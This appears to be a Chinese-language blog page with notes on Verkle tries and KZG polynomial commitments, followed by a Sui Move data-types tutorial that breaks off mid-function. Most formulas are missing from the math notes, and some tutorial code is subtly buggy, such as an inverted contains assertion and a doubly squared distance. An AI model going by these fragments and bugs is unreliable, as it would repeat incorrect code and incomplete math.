Welcome to my blog



Verkle Trie 从 0 到 1

video: https://youtu.be/yfQ0CUU4zik

docs: https://qiwihui.notion.site/Verkle-trie-8fa545dff5014191bfb6af2765b42e6e?pvs=4

Problems

  1. How to store multiple files remotely and know that those files haven’t been changed?

  2. Given a starting 𝑥, compute 𝑥↦𝑥^3+5, and repeat that 1 million times. How to prove to someone I computed this, and did so correctly - without he having to re-run the whole thing.

    Suppose our starting number is 𝑥=2.
    - x^2 = 4
    - x^3 = x^2 * x = 4 * 2 = 8
    - X^3 + 5 = 13
    So our trace is {2, 4, 8, 13, ...}
    we will produce 3,000,001 numbers in computing the circuit.
    

→ How can we verify integrity of a vector of elements?

Solution 1: Single file hashing

For single file, we can use secure hash functions:

Untitled

So a simple scheme for verifying file integrity: hash each file and save the store the hash locally.

Untitled

Problem: has to store n hashes → we need constant-sized digest

Solution 2: Merkle Trees

Merkle tree

  • the root is the digest, it is constant sized

    Untitled

  • use merkle proof to verify if the files have been changed.

    Untitled

Performance

Screenshot 2024-05-07 at 10.21.39.png

Problem: Many small files ⇒ Merkle proofs too large

Solution 3: q-ary Merkle Trees

Screenshot 2024-05-07 at 11.20.51.png

problem: Proof size is even bigger

Screenshot 2024-05-07 at 11.22.31.png

proof size:

Solution 4: polynomial commitment

Screenshot 2024-05-07 at 11.41.06.png

What is polynomial commitments?

  1. 将长度为 的 vector 转换为多项式的点值

  2. 将唯一对应的 的多项式 ,生成为Commitment→ 拉格朗日插值

    • Lagrange Interpolation

      Polynomial

      • Degree

      Encoding data into Polynomial using Lagrange Interpolation

      Given , build a polynomial such that and degree is

      Example

      • Given (0, 3), (1, 6), we have

      (2, 9), (3, 12), (4, 15). Suppose, given (1,6) and (3,12)

      n encode to m (m > n), n-of-m data can recover the polynomial exactly!

  3. Open 其中的一个点,提供一个 Proof 证明点值符合多项式

https://inevitableeth.com/polynomial-commitments-3.jpeg

STUART → (1, 83), (2, 84), …, (6, 84) → f(x) → choose (4.5, 69.5) as commitment

KZG polynomial commitment

Knowledge -> Point-Values -> Coefficients -> Commitment -> Open&Prove&Verify
                         FFT             MSM
                                          ^
                                          |
                                    Trusted Setup

FFT: Fast Furious Transform

MSM: multi-scalar multiplication

  1. KZG Commitment 是 Polynomial Commitment 的一种算法实现

    • Elliptic curves + discrete logarithm problem

      Encoding Polynomial in a finite field , q is prime:

      Polynomial on an elliptic curve

      where

      • can be computed very fast
      • , given and , it is very hard to find (it is called discrete logarithm algorithm)
      • mod 7:
        • 1 mod 7, 8 mod 7, 15 mod 7,….
        • [n] mod 7 = 1 mod 7?

    • Trusted setup

      https://inevitableeth.com/pcs-trusted-setup-1.jpeg

      Now we have secret such that

      • Nobody knows (private key of the “god”)
      • , is known to everybody (”god”’s public key)

      Then, we have the commitment as

      Finding another such that is almost impossible

    • Elliptic curves pairings

      Find two elliptic curves, such that

      https://inevitableeth.com/elliptic-curve-pairings-1.jpeg

      Given , want to prove ,

      3x+3 given data points( 1, 6), (4,2)

      where is the proof (48 bytes as a point on an elliptic curve)

      Screenshot 2024-05-07 at 13.51.25.png

  2. Polynomial Commitment 的其他实现

    1. KZG:PLONK、Marlin
    2. FRI:zkSTARK
    3. IPA:Bulletproof
    4. IPA + Halo-style aggregation:Halo 2

    https://vitalik.ca/general/2021/11/05/halo.html

    https://vitalik.ca/general/2021/11/05/halo.html

  3. KZG Commitment的优缺点

    1. 缺点:需要Trusted Setup
    2. 优点:proof 长度短且恒定

Solution 5: Verkle trie

Replace Hash Functions in q-ary Merkle tree with Vector commitment Schemes → Verkle Trie

Screenshot 2024-05-07 at 13.08.29.png

Performance comparison:

Untitled

Verkle Trees let us trade off proof-size vs. construction time.

Verkle tree structure in Ethereum

MPT(Merkle Patricia Trie) problem

Ethereum has a total of four trees:

  • the World State Trie
  • Receipts Trie
  • Transaction Trie
  • Account Storage Trie

Untitled

Untitled

MPT is 2-layer structure (Tree-inside-a-tree)

  • Complexity
  • Imbalance
  • Difficulty in understanding interactions between mechanisms such as state expiration

Vitalik has proposed a single-layer structure.

Untitled

maps data to a 32-byte single key at all locations within the state:

eg. (address, storage_slot)(address, NONCE)(address, balance),…

values sharing the first 31 bytes of the key are included in the same bottom-layer commitment.

Untitled

Tree key

  • 32 bytes

  • consisting of a 31-byte stem and a 1-byte suffix. The suffix allows for distinguishing the state information (account header data, code, storage) stored by the Tree Key.

  • 31-byte stem: pedersen_hash

    def get_tree_key(address: Address32, tree_index: int, sub_index: int):
        # Asssumes VERKLE_NODE_WIDTH = 256
        return (
            pedersen_hash(address + tree_index.to_bytes(32, 'little'))[:31] +
            bytes([sub_index])
        )
    

Untitled

verkle tree structure:

Untitled

Inner Node & Suffix Node(extension node)

Suffix Node

suffix node structure:

Untitled

  • 1: A marker for the suffix node, which is 1 on the elliptic curve but does not literally mean the number 1.
  • Stem: The stem refers to the stem in the tree key.
  • C1, C2: Are Pedersen Commitments.
C = Commit(1, C1, Stem, C2)

C1 and C2 commitment take the data form:

Untitled

  • The reason for this division is that the creation of Pedersen Commitment is limited to committing up to 256 values of maximum 253-bit size, and for 256-bit values, data loss occurs.
  • Process of storing 32-byte data under a tree key:
    1. Depending on the suffix, the data become v0, v1… v255

    2. v0~v127 are included in C1, and v128~v255 are included in C2 to calculate the leaf node’s commitment

    3. For C1, each 32-byte value of v0~v127 is divided into the upper 16 bytes (v1,0) and the lower 16 bytes (v1, 1) to serve as coefficients in a polynomial.

      → each coefficient’s data being 16 bytes (128-bit)

    4. 256-degree polynomial is committed:

      • C1 = commit([(v0,0), (v0,1), (v1,0), (v1,1)…(v127,0),(v127,1)])
      • C2 = commit([(v128,0), (v128,1), (v129,0), (v129,1) … (v255,0),(v255,1)])
    5. C = Commit(1, C1, Stem, C2) → commitment for the leaf node

Inner Node

Untitled

  • holds the stem value of the tree key and stores 256 pointers to sub-nodes
  • C0, C1 … C255 represent the commitments of sub-nodes, and the inner node contains these commitments.

An example of verkle tree containing 4 tree keys:

  • 0x00..20
  • 0xdefe…64
  • 0xde03a8..02
  • 0xde03a8..ff

Untitled

Summary:

  • The Verkle Trie consists of two types of nodes: leaf nodes and inner nodes.
  • A tree key contains a stem and a suffix.
  • The same stem corresponds to the same leaf node.
  • Data is stored differentiated by the suffix of the tree key.
  • The tree key is encoded byte by byte along the path from the root to the leaf node.
  • Data is included in the commitment of the leaf node.

Babylon 质押协议

video: https://youtu.be/xX6plmRB4hg

docs: https://qiwihui.notion.site/Babylon-bitcoin-staking-protocol-b07554e575424f13b3ddf240bbbf2657?pvs=4

Bitcoin 铭文原理

video: https://youtu.be/ADaKhkkQa_E

docs: https://qiwihui.notion.site/Bitcoin-08d37baeabce47fcb72f6195bb38a25c?pvs=4

Sui 数据类型讲解

这篇文章中,我们将介绍 Sui 中常见的数据结构,这些结构包含 Sui Move 和 Sui Framework 中提供的基础类型和数据结构,理解和熟悉这些数据结构对于 Sui Move 的理解和应用大有裨益。

首先,我们先快速复习一下 Sui Move 中使用到的基础类型。

无符号整型(Integer)

Move 包含六种无符号整型:u8u16 u32u64u128u256。值的范围从 0 到 与类型大小相关的最大值。

这些类型的字面值为数字序列(例如 112)或十六进制文字,例如 0xFF。 字面值的类型可以选择添加为后缀,例如 112u8。 如果未指定类型,编译器将尝试从使用文字的上下文中推断类型。 如果无法推断类型,则假定为 u64

对无符号整型支持的运算包括:

  • 算数运算: + - * % /
  • 位运算: & | ^ >> <<
  • 比较运算: > < >= <= == !=
  • 类型转换: as
    • 注意,类型转换不会截断,因此如果结果对于指定类型而言太大,转换将中止。

简单示例:

#![allow(unused)]
fn main() {
let a: u64 = 4;
let b = 2u64;
let hex_u64: u64 = 0xCAFE;

assert!(a+b==6, 0);
assert!(a-b==2, 0);
assert!(a*b==8, 0);
assert!(a/b==2, 0);

let complex_u8 = 1;
let _unused = 10 << complex_u8;

(b as u128)
}

布尔类型(Bool)

Move 布尔值包含两种,truefalse 。支持与 &&,或|| 和非 ! 运算。可以用于 Move 的控制流和 assert! 中。 assert! 是 Move 提供的用于断言,当判断的值是 false 时,程序会抛出错误并停止。

#![allow(unused)]
fn main() {
if (bool) { ... }
while (bool) { .. }
assert!(bool, u64)
}

地址(Address)

address 也是 Move 的原生类型,可以在地址下保存模块和资源。Sui 中地址的长度为 20 字节。

在表达式中,地址需要使用前缀 @ ,例如:

#![allow(unused)]
fn main() {
let a1: address = @0xDEADBEEF; // shorthand for 0x00000000000000000000000000000000DEADBEEF
let a2: address = @0x0000000000000000000000000000000000000002;
}

Tuples 和 Unit

Tuples 和 Unit () 在 Move 中主要用作函数返回值。只支持解构(destructuring)运算。

#![allow(unused)]
fn main() {
module ds::tuples {
    // all 3 of these functions are equivalent
    fun returns_unit() {}
    fun returns_2_values(): (bool, bool) { (true, false) }
    fun returns_4_values(x: &u64): (&u64, u8, u128, vector<u8>) { (x, 0, 1, b"foobar") }

    fun examples(cond: bool) {
        let () = ();
        let (x, y): (u8, u64) = (0, 1);
        let (a, b, c, d) = (@0x0, 0, false, b"");

        () = ();
        (x, y) = if (cond) (1, 2) else (3, 4);
        (a, b, c, d) = (@0x1, 1, true, b"1");
    }

    fun examples_with_function_calls() {
        let () = returns_unit();
        let (x, y): (bool, bool) = returns_2_values();
        let (a, b, c, d) = returns_4_values(&0);

        () = returns_unit();
        (x, y) = returns_2_values();
        (a, b, c, d) = returns_4_values(&1);
    }
}
}

接下来,我们从 Vector 开始,介绍 Sui 和 Sui Framework 中支持的集合类型。

数组(Vector)

vector<T> 是 Move 提供的唯一的原生集合类型。vector<T> 是由一组相同类型的值组成的数组,比如 vector<u64>vector<address> 等。

vector 支持的主要操作有:

  • 末尾添加元素:push_back
  • 末尾删除元素: pop_back
  • 读取或者修改: borrowborrow_mut
  • 判断是否包含: contains
  • 交换元素: swap
  • 读取元素索引: index_of
#![allow(unused)]
fn main() {
module ds::vectors {
    use std::vector;

    public entry fun example() {
        let v = vector::empty<u64>();
        vector::push_back(&mut v, 5);
        vector::push_back(&mut v, 6);

        assert!(vector::contains(&mut v, &5), 42);
        
        let (exists, index) = vector::index_of(&mut v, &5);
        assert!(exists, 42);
        assert!(index == 0, 42);

        assert!(*vector::borrow(&v, 0) == 5, 42);
        assert!(*vector::borrow(&v, 1) == 6, 42);

        vector::swap(&mut v, 0, 1);

        assert!(vector::pop_back(&mut v) == 5, 42);
        assert!(vector::pop_back(&mut v) == 6, 42);
    }
}
}

编译并运行示例:

# 编译并发布
sui client publish . --gas-budget 300000

# 获取上一步编译得到的包的ID
export package_id=0xee2961ee26916285ebef57c68caaa5f67a3d8dbd

sui client call \
  --function example \
  --module vectors \
  --package ${package_id} \
  --gas-budget 30000

下面我们介绍几种基于 vector 的数据类型。

字符串(String)

Move 没有字符串的原生类型,但它使用 vector<u8> 表示字节数组。目前, vector<u8> 字面量有两种:字节字符串(byte strings)和十六进制字符串(hex strings)。

字节字符串是以 b 为前缀的字符串文字,例如 b"Hello!\n"

十六进制字符串是以 x 为前缀的字符串文字,例如 x"48656C6C6F210A" 。每一对字节的范围从 00FF,表示一个十六进制的 u8。因此我们可以知道: b"Hello" == x"48656C6C6F"

vector<u8> 的基础上,Move 提供了 string 包处理 UTF8 字符串的操作。

我们以创建 Name NFT 的为例:

#![allow(unused)]
fn main() {
module ds::strings {
    use sui::object::{Self, UID};
    use sui::tx_context::{sender, TxContext};
    use sui::transfer;

    // 使用 std::string 作为 UTF-8 字符串
    use std::string::{Self, String};

    /// 保存 String 类型
    struct Name has key, store {
        id: UID,

        /// String 类型
        name: String
    }

    fun create_name(
        name_bytes: vector<u8>, ctx: &mut TxContext
    ): Name {
        Name {
            id: object::new(ctx),
            name: string::utf8(name_bytes)
        }
    }

    /// 传入原始字节(raw bytes)来创建
    public entry fun issue_name_nft(
        name_bytes: vector<u8>, ctx: &mut TxContext
    ) {
        transfer::transfer(
            create_name(name_bytes, ctx),
            sender(ctx)
        );
    }
}
}

编译后命令行中调用:

$ sui client call \
  --function issue_name_nft \
  --module strings \
  --package ${package_id} \
  --args "my_nft" --gas-budget 30000

# 部分输出结果

----- Transaction Effects ----
Status : Success
Created Objects:
  - ID: 0xf53891c8d200125bcfdba69557b158395bdf9390 , Owner: Account Address ( 0xf28e73e59f2305edf4df88756f78fa1f5d7e78b0 )
Mutated Objects:
  - ID: 0xd1de857a7a5452a73c9c176cd7c9db1b06671723 , Owner: Account Address ( 0xf28e73e59f2305edf4df88756f78fa1f5d7e78b0 )

可以在 Transaction Effects 中看到新创建的对象,ID 为 0xf53891c8d200125bcfdba69557b158395bdf9390,通过 Sui 提供的 RPC-API 接口 sui_getObject 可以看到其中保存的内容:

curl -H 'Content-Type: application/json' https://fullnode.devnet.sui.io:443 -d '{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "sui_getObject",
  "params":[
      "0xf53891c8d200125bcfdba69557b158395bdf9390"
  ]
}'

输出结果

{
    "jsonrpc": "2.0",
    "result": {
        "status": "Exists",
        "details": {
            "data": {
                "dataType": "moveObject",
                "type": "0xee2961ee26916285ebef57c68caaa5f67a3d8dbd::strings::Name",
                "has_public_transfer": true,
                "fields": {
                    "id": {
                        "id": "0xf53891c8d200125bcfdba69557b158395bdf9390"
                    },
                    "name": "my_nft"
                }
            },
            "owner": {
                "AddressOwner": "0xf28e73e59f2305edf4df88756f78fa1f5d7e78b0"
            },
            "previousTransaction": "7AfcBmJCioSbdZD6ZdYU2iUuGiSc62AuhZn7Yi3TfLDa",
            "storageRebate": 13,
            "reference": {
                "objectId": "0xf53891c8d200125bcfdba69557b158395bdf9390",
                "version": 1614,
                "digest": "/SEDlnh4xXq//ZGOCZVQM5QfyR2fPzJWaYWELhrSn2o="
            }
        }
    },
    "id": 1
}

VecMap 和 VecSet

Sui 在 vector 的基础上实现了两种数据结构,映射 vec_map 和集合 vec_set

vec_map 是一种映射结构,保证不包含重复的键,但是条目按照插入顺序排列,而不是按键的顺序。所有的操作时间复杂度为 0(N),N 为映射的大小。vec_map 只是为了提供方便的操作映射的接口,如果需要保存大型的映射,或者是需要按键的顺序排序的映射都需要另外处理。可以考虑使用之后介绍的 table 数据结构。

主要操作包括:

  • 创建空映射: empty
  • 插入键值对: insert
  • 获取键对应的值: getget_mut
  • 删除键: remove
  • 判断是否包含键: contains
  • 映射大小: size
  • 将映射转为键值对的数组: into_keys_values
  • 获取映射键的数组: keys
  • 删除空映射: destroy_empty
  • 通过插入的顺序索引键值对: get_entry_by_idxget_entry_by_idx_mut
#![allow(unused)]
fn main() {
module ds::v_map {
    use sui::vec_map;
    use std::vector;

    public entry fun example() {
        let m = vec_map::empty();
        let i = 0;
        while (i < 10) {
            let k = i + 2;
            let v = i + 5;
            vec_map::insert(&mut m, k, v);
            i = i + 1;
        };
        assert!(!vec_map::is_empty(&m), 0);
        assert!(vec_map::size(&m) == 10, 1);
        let i = 0;
        // make sure the elements are as expected in all of the getter APIs we expose
        while (i < 10) {
            let k = i + 2;
            assert!(vec_map::contains(&m, &k), 2);
            let v = *vec_map::get(&m, &k);
            assert!(v == i + 5, 3);
            assert!(vec_map::get_idx(&m, &k) == i, 4);
            let (other_k, other_v) = vec_map::get_entry_by_idx(&m, i);
            assert!(*other_k == k, 5);
            assert!(*other_v == v, 6);
            i = i + 1;
        };
        // 移出所有元素
        let (keys, values) = vec_map::into_keys_values(copy m);
        let i = 0;
        while (i < 10) {
            let k = i + 2;
            let (other_k, v) = vec_map::remove(&mut m, &k);
            assert!(k == other_k, 7);
            assert!(v == i + 5, 8);
            assert!(*vector::borrow(&keys, i) == k, 9);
            assert!(*vector::borrow(&values, i) == v, 10);

            i = i + 1;
        }
    }
}
}

vec_set 结构保证其中不包含重复的键。所有的操作时间复杂度为 O(N),N 为映射的大小。同样, vec_set 提供了方便的集合操作接口,按插入顺序进行排序,如果需要使用按键进行排序的集合,也需要另外处理。

主要操作包括:

  • 创建空集合: empty
  • 插入元素: insert
  • 删除元素: remove
  • 判断是否包含元素: contains
  • 集合大小: size
  • 将集合转为元素的数组: into_keys
#![allow(unused)]
fn main() {
module ds::v_set {
    use sui::vec_set;
    use std::vector;

    public entry fun example() {
        let m = vec_set::empty();
        let i = 0;
        while (i < 10) {
            let k = i + 2;
            vec_set::insert(&mut m, k);
            i = i + 1;
        };
        assert!(!vec_set::is_empty(&m), 0);
        assert!(vec_set::size(&m) == 10, 1);
        let i = 0;
        // make sure the elements are as expected in all of the getter APIs we expose
        while (i < 10) {
            let k = i + 2;
            assert!(vec_set::contains(&m, &k), 2);
            i = i + 1;
        };
        // 移出所有元素
        let keys = vec_set::into_keys(copy m);
        let i = 0;
        while (i < 10) {
            let k = i + 2;
            vec_set::remove(&mut m, &k);
            assert!(*vector::borrow(&keys, i) == k, 9);
            i = i + 1;
        }
    }
}
}

优先队列(PriorityQueue)

还有一种基于 vector 构建的数据结构:优先队列,他使用基于 vector 实现的大顶堆(max heap)来实现。

大顶堆是一种二叉树结构,每个节点的值都大于或等于其左右孩子节点的值,这样,这个二叉树的根节点始终都是所有节点中值最大的节点。

在优先队列中,我们为每一个节点赋予一个权重,我们基于权重构建一个大顶堆,从大顶堆顶部弹出根节点则为权重最大的节点。这样就形成过了一个按优先级弹出的队列。

优先队列主要包含的操作为:

  • 创建条目列表: create_entries ,结果作为 new 方法参数
  • 创建: new
  • 插入: insert
  • 弹出最大: pop_max

示例:

#![allow(unused)]
fn main() {
module ds::pq {
    use sui::priority_queue::{PriorityQueue, pop_max, create_entries, new, insert};

    /// 检查弹出的最大值及其权重
    fun check_pop_max(h: &mut PriorityQueue<u64>, expected_priority: u64, expected_value: u64) {
        let (priority, value) = pop_max(h);
        assert!(priority == expected_priority, 0);
        assert!(value == expected_value, 0);
    }

    public entry fun example() {
        let h = new(create_entries(vector[3, 1, 4, 2, 5, 2], vector[10, 20, 30, 40, 50, 60]));
        check_pop_max(&mut h, 5, 50);
        check_pop_max(&mut h, 4, 30);
        check_pop_max(&mut h, 3, 10);
        insert(&mut h, 7, 70);
        check_pop_max(&mut h, 7, 70);
        check_pop_max(&mut h, 2, 40);
        insert(&mut h, 0, 80);
        check_pop_max(&mut h, 2, 60);
        check_pop_max(&mut h, 1, 20);
        check_pop_max(&mut h, 0, 80);
    }
}
}

结构体(Struct)

Move语言中,结构体是包含类型化字段的用户定义数据结构。 结构可以存储任何非引用类型,包括其他结构。示例:

#![allow(unused)]
fn main() {
module ds::structs {
    // 二维平面点
    struct Point has copy, drop, store {
        x: u64,
        y: u64,
    }
    // 圆
    struct Circle has copy, drop, store {
        center: Point,
        radius: u64,
    }
    // 创建结构体
    public fun new_point(x: u64, y: u64): Point {
        Point {
            x, y
        }
    }
    // 访问结构体数据
    public fun point_x(p: &Point): u64 {
        p.x
    }

    public fun point_y(p: &Point): u64 {
        p.y
    }

    fun abs_sub(a: u64, b: u64): u64 {
        if (a < b) {
            b - a
        }
        else {
            a - b
        }
    }
    // 计算点之间的距离
    public fun dist_squared(p1: &Point, p2: &Point): u64 {
        let dx = abs_sub(p1.x, p2.x);
        let dy = abs_sub(p1.y, p2.y);
        dx * dx + dy * dy
    }

    public fun new_circle(center: Point, radius: u64): Circle {
        Circle { center, radius }
    }
    // 计算两个圆之间是否相交
    public fun overlaps(c1: &Circle, c2: &Circle): bool {
        let d = dist_squared(&c1.center, &c2.center);
        let r1 = c1.radius;
        let r2 = c2.radius;
        d * d <= r1 * r1 + 2 * r1 * r2 + r2 * r2
    }
}
}

对象(Object)

对象是 Sui Move 中新引入的概念,也是 Sui 安全和高并发等众多特性的基础。定义一个对象,需要为结构体添加 key 能力,同时结构体的第一个字段必须是 UID 类型的 id。

对象结构中除了可以使用基础数据结构外,也可以包含另一个对象,即对象可以进行包装,在一个对象中使用另一个对象。

对象有不同的所有权形式,可以存放在一个地址下面,也可以设置成不可变对象或者全局对象。不可变对象永远不能被修改,转移或者删除,因此它不属于任何人,但也可以被任何人访问。比如合约包对象,Coin Metadata 对象。

我们可以通过 transfer 包中的方法对对象进行处理:

  • transfer:将对象放到某个地址下
  • freeze_object:创建不可变对象
  • share_object:创建共享对象
#![allow(unused)]
fn main() {
module ds::objects {
    use sui::object::{Self, UID};
    use sui::transfer;
    use sui::tx_context::{Self, TxContext};

    struct ColorObject has key {
        id: UID,
        red: u8,
        green: u8,
        blue: u8,
    }

    fun new(red: u8, green: u8, blue: u8, ctx: &mut TxContext): ColorObject {
        ColorObject {
            id: object::new(ctx),
            red,
            green,
            blue,
        }
    }

    public entry fun create(red: u8, green: u8, blue: u8, ctx: &mut TxContext) {
        let color_object = new(red, green, blue, ctx);
        transfer::transfer(color_object, tx_context::sender(ctx))
    }

    public fun get_color(self: &ColorObject): (u8, u8, u8) {
        (self.red, self.green, self.blue)
    }

    /// Copies the values of `from_object` into `into_object`.
    public entry fun copy_into(from_object: &ColorObject, into_object: &mut ColorObject) {
        into_object.red = from_object.red;
        into_object.green = from_object.green;
        into_object.blue = from_object.blue;
    }

    public entry fun delete(object: ColorObject) {
        let ColorObject { id, red: _, green: _, blue: _ } = object;
        object::delete(id);
    }

    public entry fun transfer(object: ColorObject, recipient: address) {
        transfer::transfer(object, recipient)
    }

    public entry fun freeze_object(object: ColorObject) {
        transfer::freeze_object(object)
    }

    public entry fun create_shareable(red: u8, green: u8, blue: u8, ctx: &mut TxContext) {
        let color_object = new(red, green, blue, ctx);
        transfer::share_object(color_object)
    }

    public entry fun create_immutable(red: u8, green: u8, blue: u8, ctx: &mut TxContext) {
        let color_object = new(red, green, blue, ctx);
        transfer::freeze_object(color_object)
    }

    public entry fun update(
        object: &mut ColorObject,
        red: u8, green: u8, blue: u8,
    ) {
        object.red = red;
        object.green = green;
        object.blue = blue;
    }
}
}

编译后调用:

  1. 创建共享对象
sui client call \
  --function create_shareable \
  --module objects \
  --package ${package_id} \
  --args 1 2 3 --gas-budget 30000

# 结果输出
----- Transaction Effects ----
Status : Success
Created Objects:
  - ID: 0x3b25eba3bf836088b56bdfd36e39ec440db8bf59 , Owner: Shared
  1. 创建不可变对象
sui client call \
  --function create_immutable \
  --module objects \
  --package ${package_id} \
  --args 1 2 3 --gas-budget 30000

# 结果输出
----- Transaction Effects ----
Status : Success
Created Objects:
  - ID: 0x88f8f210635af6503a8a07835ef12e147fa60aa3 , Owner: Immutable
  1. 将对象放入某个地址下
sui client call \
  --function create \
  --module objects \
  --package ${package_id} \
  --args 1 2 3 --gas-budget 30000

# 结果输出
----- Transaction Effects ----
Status : Success
Created Objects:
  - ID: 0xf36144c71cde87c1e00f1bf00ee44653bc05228c , Owner: Account Address ( 0xf28e73e59f2305edf4df88756f78fa1f5d7e78b0 )

可以看到,不同所有权类型的对象会在创建时显示不同的类型结果。

  1. 修改共享对象或者是地址所拥有的对象:传入对象 ID 作为参数
sui client call \
  --function update \
  --module objects \
  --package ${package_id} \
  --args 0x3b25eba3bf836088b56bdfd36e39ec440db8bf59 4 5 6 --gas-budget 30000

# 结果输出
----- Transaction Effects ----
Status : Success
Mutated Objects:
  - ID: 0x3b25eba3bf836088b56bdfd36e39ec440db8bf59 , Owner: Shared

可以在结果中看到 Mutated Objects 中对象已经发生了变化。

Dynamic field 和 Dynamic object field

对象虽然可以进行包装,但是也有一些局限,一是对象中的字段是有限的,在结构体定义是已经确定;二是包含其他对象的对象可能非常大,可能会导致交易 gas 很高,Sui 默认结构体大小限制为 2MB;再者,当遇到要储存不一样类型的对象集合时,问题就会比较棘手,Move 中的 vector 只能存储相同的类型的数据。

因此,Sui 提供了 dynamic field,可以使用任意名字做字段,也可以动态添加和删除。唯一影响的是 gas 的消耗。

dynamic field 包含两种类型,field 和 Object field,区别在于,field 可以存储任何有 store 能力的值,但是如果是对象的话,对象会被认为是被包装而不能通过 ID 被外部工具(浏览器,钱包等)访问;而 Object field 的值必须是对象(有 key 能力且第一个字段是 id: UID),对象仍然能从外部工具通过 ID 访问。

dynamic filed 的名称可以是任何拥有 copydropstore 能力的值,这些值包括 Move 中的基本类型(整数,布尔值,字节串),以及拥有 copydropstore 能力的结构体。

下面我们通过例子来看看具体的操作:

  • 添加字段: add
  • 访问和修改字段: borrowborow_mut
  • 删除字段
#![allow(unused)]
fn main() {
module ds::fields {
    use sui::object::{Self, UID};
    use sui::dynamic_object_field as dof;
    use sui::transfer;
    use sui::tx_context::{Self, TxContext};

    struct Parent has key {
        id: UID,
    }

    struct Child has key, store {
        id: UID,
        count: u64,
    }

    public entry fun initialize(ctx: &mut TxContext) {
        transfer::transfer(Parent { id: object::new(ctx) }, tx_context::sender(ctx));
        transfer::transfer(Child { id: object::new(ctx), count: 0 }, tx_context::sender(ctx));
    }

    public entry fun add_child(parent: &mut Parent, child: Child) {
        dof::add(&mut parent.id, b"child", child);
    }

    public entry fun mutate_child(child: &mut Child) {
        child.count = child.count + 1;
    }

    public entry fun mutate_child_via_parent(parent: &mut Parent) {
        mutate_child(dof::borrow_mut<vector<u8>, Child>(
            &mut parent.id,
            b"child",
        ));
    }

    public entry fun delete_child(parent: &mut Parent) {
        let Child { id, count: _ } = dof::remove<vector<u8>, Child>(
            &mut parent.id,
            b"child",
        );
        object::delete(id);
    }

    public entry fun reclaim_child(parent: &mut Parent, ctx: &mut TxContext) {
        let child = dof::remove<vector<u8>, Child>(
            &mut parent.id,
            b"child",
        );
        transfer::transfer(child, tx_context::sender(ctx));
    }
}
}

编译并调用 initializeadd_child 方法:

sui client call \
  --function initialize \
  --module fields \
  --package ${package_id} \
  --gas-budget 30000

# 输出结果
----- Transaction Effects ----
Status : Success
Created Objects:
  - ID: 0x55536ca8123ffb606398da9f7d2472888ca5bfd1 , Owner: Account Address ( 0xf28e73e59f2305edf4df88756f78fa1f5d7e78b0 )
  - ID: 0xf1206f0f7d97908aae907c23d69a4cd97120dc82 , Owner: Account Address ( 0xf28e73e59f2305edf4df88756f78fa1f5d7e78b0 )
sui client call \
  --function add_child \
  --module fields \
  --package ${package_id} \
  --args 0xf1206f0f7d97908aae907c23d69a4cd97120dc82 0x55536ca8123ffb606398da9f7d2472888ca5bfd1 --gas-budget 30000

# 输出结果
----- Transaction Effects ----
Status : Success
Created Objects:
  - ID: 0xdf694f282f739f328325bc922b3083bd45f31cae , Owner: Object ID: ( 0xf1206f0f7d97908aae907c23d69a4cd97120dc82 )
Mutated Objects:
  - ID: 0x55536ca8123ffb606398da9f7d2472888ca5bfd1 , Owner: Object ID: ( 0xdf694f282f739f328325bc922b3083bd45f31cae )
  - ID: 0xf1206f0f7d97908aae907c23d69a4cd97120dc82 , Owner: Account Address ( 0xf28e73e59f2305edf4df88756f78fa1f5d7e78b0 )

可以通过 sui_getDynamicFields 方法查看添加的字段:

curl -H 'Content-Type: application/json' https://fullnode.devnet.sui.io:443 -d '{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "sui_getDynamicFields",
  "params":[
      "0xf1206f0f7d97908aae907c23d69a4cd97120dc82"
  ]
}'

结果:

{
    "jsonrpc": "2.0",
    "result": {
        "data": [
            {
                "name": "vector[99u8, 104u8, 105u8, 108u8, 100u8]",
                "type": "DynamicObject",
                "objectType": "0xee2961ee26916285ebef57c68caaa5f67a3d8dbd::fields::Child",
                "objectId": "0x55536ca8123ffb606398da9f7d2472888ca5bfd1",
                "version": 1621,
                "digest": "GNSaPghN+tRBkxKiVhQCn9jVBkjYV4RU4oF+c4CUGJM="
            }
        ],
        "nextCursor": null
    },
    "id": 1
}

其中 name“child” 。同时,对于对象 ID 0x55536ca8123ffb606398da9f7d2472888ca5bfd1,我们仍然能从链上追踪对应信息。

curl -H 'Content-Type: application/json' https://fullnode.devnet.sui.io:443 -d '{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "sui_getObject",
  "params":[
      "0x55536ca8123ffb606398da9f7d2472888ca5bfd1"
  ]
}'

集合数据类型

接下来,我们介绍几种基于 dynamic field 的集合数据类型。

前面介绍过,带有 dynamic field 的对象可以被删除,但是这对于链上集合类型来说这是不希望发生的,因为链上集合类型可能将无限多的键值对作为 dynamic field 保存。因此,在 Sui 提供了两种集合类型: TableBag,两者都基于 dynamic field 构建的映射类型的数据结构,但是额外支持计算它们包含的条目数,并防止在非空时意外删除。

TableBag 的区别在于,Table 是同质(*homogeneous)*映射,所以的键必须是同一个类型,所以的值也必须是同一个类型,而 Bag 是异质(heterogeneous)映射,可以存储任意类型的键值对。

同时,Sui 标准库中还包含对象版本的 TableBagObjectTableObjectBag,区别在于前者可以将任何 store 能力的值保存,但从外部存储查看时,作为值存储的对象将被隐藏,后者只能将对象作为值存储,但可以从外部存储中通过 ID 访问这些对象。

与之前介绍过的 vec_map 相比,table 更适合用来处理包含大量映射的情况。

Table

下面我们通过示例来展示对 table 的基本操作:

  • 添加元素: add
  • 读取和修改元素: borrowborrow_mut
  • 删除元素: delete
  • 元素长度: length
  • 判断存在性:contains

Object table 的操作与 table 类似。

#![allow(unused)]
fn main() {
module ds::tables {
    use sui::object::{Self, UID};
    use sui::transfer;
    use sui::tx_context::{Self, TxContext};
    use sui::table::{Self, Table};

    const EChildAlreadyExists: u64 = 0;
    const EChildNotExists: u64 = 1;

    struct Parent has key {
        id: UID,
        children: Table<u64, Child>,
    }

    struct Child has key, store {
        id: UID,
        age: u64
    }
    // 创建 Parent 对象
    public entry fun initialize(ctx: &mut TxContext) {
        transfer::transfer(
            Parent { id: object::new(ctx), children: table::new(ctx) },
            tx_context::sender(ctx)
        );
    }

    public fun child_age(child: &Child): u64 {
        child.age
    }
    // 查看
    public fun child_age_via_parent(parent: &Parent, index: u64): u64 {
        assert!(!table::contains(&parent.children, index), EChildNotExists);
        table::borrow(&parent.children, index).age
    }
    // 获取长度
    public fun child_size_via_parent(parent: &Parent): u64 {
        table::length(&parent.children)
    }
    // 添加
    public entry fun add_child(parent: &mut Parent, index: u64, ctx: &mut TxContext) {
